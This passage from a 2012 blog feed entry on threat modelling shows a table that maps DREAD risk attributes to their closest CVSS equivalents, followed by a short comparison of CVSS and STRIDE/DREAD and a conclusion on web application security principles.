valign=&quot;top&quot; width=&quot;241&quot;&gt;    &lt;div class=&quot;ListPlain&quot;&gt;Closest CVSS    attribute&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;/tr&gt;
&lt;/thead&gt;  &lt;tbody&gt;
&lt;tr&gt;   &lt;td style=&quot;background: white; border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Damage potential&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 241.25pt;&quot; valign=&quot;top&quot; width=&quot;483&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;What damage may   occur?&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 120.5pt;&quot; valign=&quot;top&quot; width=&quot;241&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Collateral damage&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;background: white; border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Reproducibility&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 241.25pt;&quot; valign=&quot;top&quot; width=&quot;483&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;How easy is it for a   potential attack to work?&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 120.5pt;&quot; valign=&quot;top&quot; width=&quot;241&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;~ Access complexity&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;background: white; border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Exploitability&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 241.25pt;&quot; valign=&quot;top&quot; width=&quot;483&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;What do you need   (effort, expertise) to make the attack work?&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 120.5pt;&quot; valign=&quot;top&quot; width=&quot;241&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Exploitability&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;background: white; border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Affected users&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 241.25pt;&quot; valign=&quot;top&quot; width=&quot;483&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;How many users would   be affected by the attack?&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 120.5pt;&quot; valign=&quot;top&quot; width=&quot;241&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Target distribution&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;tr&gt;   &lt;td style=&quot;background: white; border-top: none; border: solid windowtext 1.0pt; mso-border-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 119.7pt;&quot; valign=&quot;top&quot; width=&quot;239&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;Discoverability&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 241.25pt;&quot; valign=&quot;top&quot; width=&quot;483&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;How easy is for it   attackers to discover the issue?&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;   &lt;td style=&quot;background: white; border-bottom: solid windowtext 1.0pt; border-left: none; border-right: solid windowtext 1.0pt; border-top: none; mso-border-alt: solid windowtext .5pt; mso-border-left-alt: solid windowtext .5pt; mso-border-top-alt: solid windowtext .5pt; padding: 0in 5.4pt 0in 5.4pt; width: 120.5pt;&quot; valign=&quot;top&quot; width=&quot;241&quot;&gt;   &lt;div class=&quot;ListPlain&quot;&gt;No direct equivalent&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;/td&gt;  &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;&lt;div class=&quot;Body&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;In general, CVSS is useful for released software and the number of realized vulnerabilities is small. CVSS should produce similar risk rankings regardless of reviewer, but many of the biases built into the overall risk calculation are subjective (i.e. local and remote or which aspect of the application is more important), and thus there may disagreement of the resulting risk ranking. &lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;STRIDE/DREAD is useful to reduce attack surface area, improve design, and eliminate vulnerabilities before they are released. It can also be used by reviewers to rank and enumerate threats in a structured way, and produce similar risk rankings regardless of reviewer.&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div class=&quot;HeadB&quot;&gt;&lt;a href=&quot;&quot; name=&quot;_Toc520956446&quot;&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/a&gt;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;div class=&quot;Body&quot;&gt;In the few previous pages, we have touched on the basic principles of web application security. Applications that honor the underlying intent of these principles will be more secure than their counterparts who are minimally compliant with specific controls mentioned later in this Guide.&amp;nbsp;&lt;o:p&gt;&lt;/o:p&gt;&lt;/div&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://softwarearchitectureandarchitects.blogspot.com/feeds/453596746420019813/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/04/threat-modelling.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/453596746420019813'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/2716531555213613403/posts/default/453596746420019813'/><link rel='alternate' type='text/html' href='http://softwarearchitectureandarchitects.blogspot.com/2012/04/threat-modelling.html' title='Threat Modelling'/><author><name>Manoj T.</name><uri>http://www.blogger.com/profile/12956931336710250261</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>